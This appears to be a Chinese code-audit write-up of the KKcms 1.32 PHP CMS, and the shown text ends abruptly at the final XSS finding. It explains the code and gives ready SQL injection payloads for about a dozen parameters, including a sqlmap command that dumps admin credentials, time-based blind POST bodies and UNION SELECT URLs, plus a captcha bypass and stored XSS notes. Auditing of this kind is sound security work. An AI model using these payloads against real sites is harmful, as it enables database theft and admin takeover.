KKcms 1.32 代码审计过程
KKcms 1.32 代码审计过程
目录
- KKcms 1.32 代码审计过程
- 源码搭建
- 入口文件分析
- 1. bplay.php play 参数存在 Sql注入漏洞
- 2. ucenter/reg.php name参数存在 Sql注入漏洞
- 3. ucenter/active.php verify 参数存在Sql注入漏洞
- 4. ucenter/repass.php name 参数存在 Sql注入漏洞
- 5. wap/login.php name 参数存在 Sql 注入漏洞
- 6. admin/cms_login.php 验证码绕过漏洞
- 7. admin/cms_ad_edit.php id 参数存在Sql注入漏洞
- 8. admin/cms_admin_edit.php
- 9. /admin/cms_book_edit.php id 参数存在 Sql注入漏洞
- 10. admin/cms_usergroup_edit.php ID 参数存在Sql注入漏洞
- 11. admin/cms_ad_edit.php 存在存储型xss漏洞
- 12.admin/cms_usergroup.php 存在存储型XSS漏洞
源码搭建
源码下载:https://github.com/erichuang2015/kkcms
- php 5.6.9
- MySQL5.7.26
将目录下的所有文件移动到网站根目录下,打开 http://localhost/install/ ,填写数据库信息,安装成功默认后面账号密码
入口文件分析
分析index.php
,开始包含了 system/inc.php
文件
找到文件声明,inc.php
共包含了4个文件,其中有数据库连接、内容过滤、函数、配置文件等。
挨个文件分析,首先分析 conn.php
- 设置 error_reporting 错误级别
- ob_start() 打开缓冲流
- 启动session
- 设置常量
PCFINAL
内容为true - 设置时区
- 设置编码为
utf-8
- 包含
data.php
文件 - 调用
mysql_connect
进行数据库连接 - 设置数据库编码为
utf8
分析 library.php
文件,首先判断 get_magic_quotes_gpc 是否开启,如果没有开启,则调用 addslashes_deep
函数进行对$_GET
\
$_POST
\$_COOKIE
\$_REQUEST
传输方法进行addslashes()
转译
继续回到 index.php
,往下5-8行,判断./install/index.lock
是否存在,如果不存在则跳转 install
在继续往下,就是获取https://www.360kan.com/
主页html代码,然后通过$szz
匹配规则获取信息,存入$sarr
数组中,剩下包含的文件基本都是去360kan上获取信息进行显示到页面上
1. bplay.php play 参数存在 Sql注入漏洞
既然传输进行 addslashes
函数转译了,而且数据库也不是GBK编码,有单双引号闭合的情况下就不会出现宽字节注入了。那么找注入的话只能找一些没有进行闭合的注入点。
分析 bplay.php
文件,一个很明显的一个 play
参数直接拼接到 Sql 中执行
sqlmap -u "http://192.168.1.7:89/bplay.php?play=1*" -D kkcms -T xtcms_manager -C m_name,m_password --dump
2. ucenter/reg.php name参数存在 Sql注入漏洞
除了一些没有闭合的注入以外,还能找一些调用stripslashes()
函数进行删除反斜杠的漏洞点
- stripslashes() 函数删除由addslashes() 函数添加的反斜杠。
POST /ucenter/reg.php HTTP/1.1
Host: 192.168.1.7:89
Content-Type: application/x-www-form-urlencoded
Content-Length: 34submit=1&name=admin' and sleep(3)#
3. ucenter/active.php verify 参数存在Sql注入漏洞
/ucenter/active.php?verify=-1'+or+1=2%23
/ucenter/active.php?verify=-1'+or+1=1%23
4. ucenter/repass.php name 参数存在 Sql注入漏洞
POST /ucenter/repass.php HTTP/1.1
Host: 192.168.1.7:89
Content-Type: application/x-www-form-urlencoded
Content-Length: 36submit=1&name=admin' and sleep(6)%23
5. wap/login.php name 参数存在 Sql 注入漏洞
POST /wap/login.php HTTP/1.1
Host: 192.168.1.7:89
Content-Type: application/x-www-form-urlencoded
Content-Length: 33reg=1&name=admin' and sleep(3)%23
6. admin/cms_login.php 验证码绕过漏洞
只要删除session和提交的验证码参数,两者都为空,则就不会进入if判断
7. admin/cms_ad_edit.php id 参数存在Sql注入漏洞
没有闭合直接带入 id 到sql中执行
/admin/cms_ad_edit.php?id=1%20union%20select%201,user(),3,version(),5,6,7,8%20%23
在后台还有多个这类的注入,接只演示几个路径即可
admin/cms_youlian_edit.php
admin/cms_usergroup_edit.php
admin/cms_usercard_edit.php
admin/cms_user_edit.php
admin/cms_slideshow_edit.php
admin/cms_player_edit.php
admin/cms_nav_edit.php
admin/cms_link_edit.php
admin/cms_detail_edit.php
admin/cms_channel_edit.php
admin/cms_book_edit.php
admin/cms_admin_edit.php
admin/cms_ad_edit.php
8. admin/cms_admin_edit.php
admin/cms_admin_edit.php?id=-1 union select 1,user(),3,4,5,6,7,8,9
9. /admin/cms_book_edit.php id 参数存在 Sql注入漏洞
/admin/cms_book_edit.php?id=-1%20union%20select%201,user(),3,4,5
10. admin/cms_usergroup_edit.php ID 参数存在Sql注入漏洞
/admin/cms_usergroup_edit.php?id=-2%20union%20select%201,user(),3,4,5,6
11. admin/cms_ad_edit.php 存在存储型xss漏洞
虽然插入时进行了addslashes
函数过滤,但很多参数都是存入存入数据库时没有进行 htmlspecialchars
实体化,输出是没有进行实体化。
广告位置功能可以看到 name 直接 select 查询表中数据出来显示在页面上
12.admin/cms_usergroup.php 存在存储型XSS漏洞
提交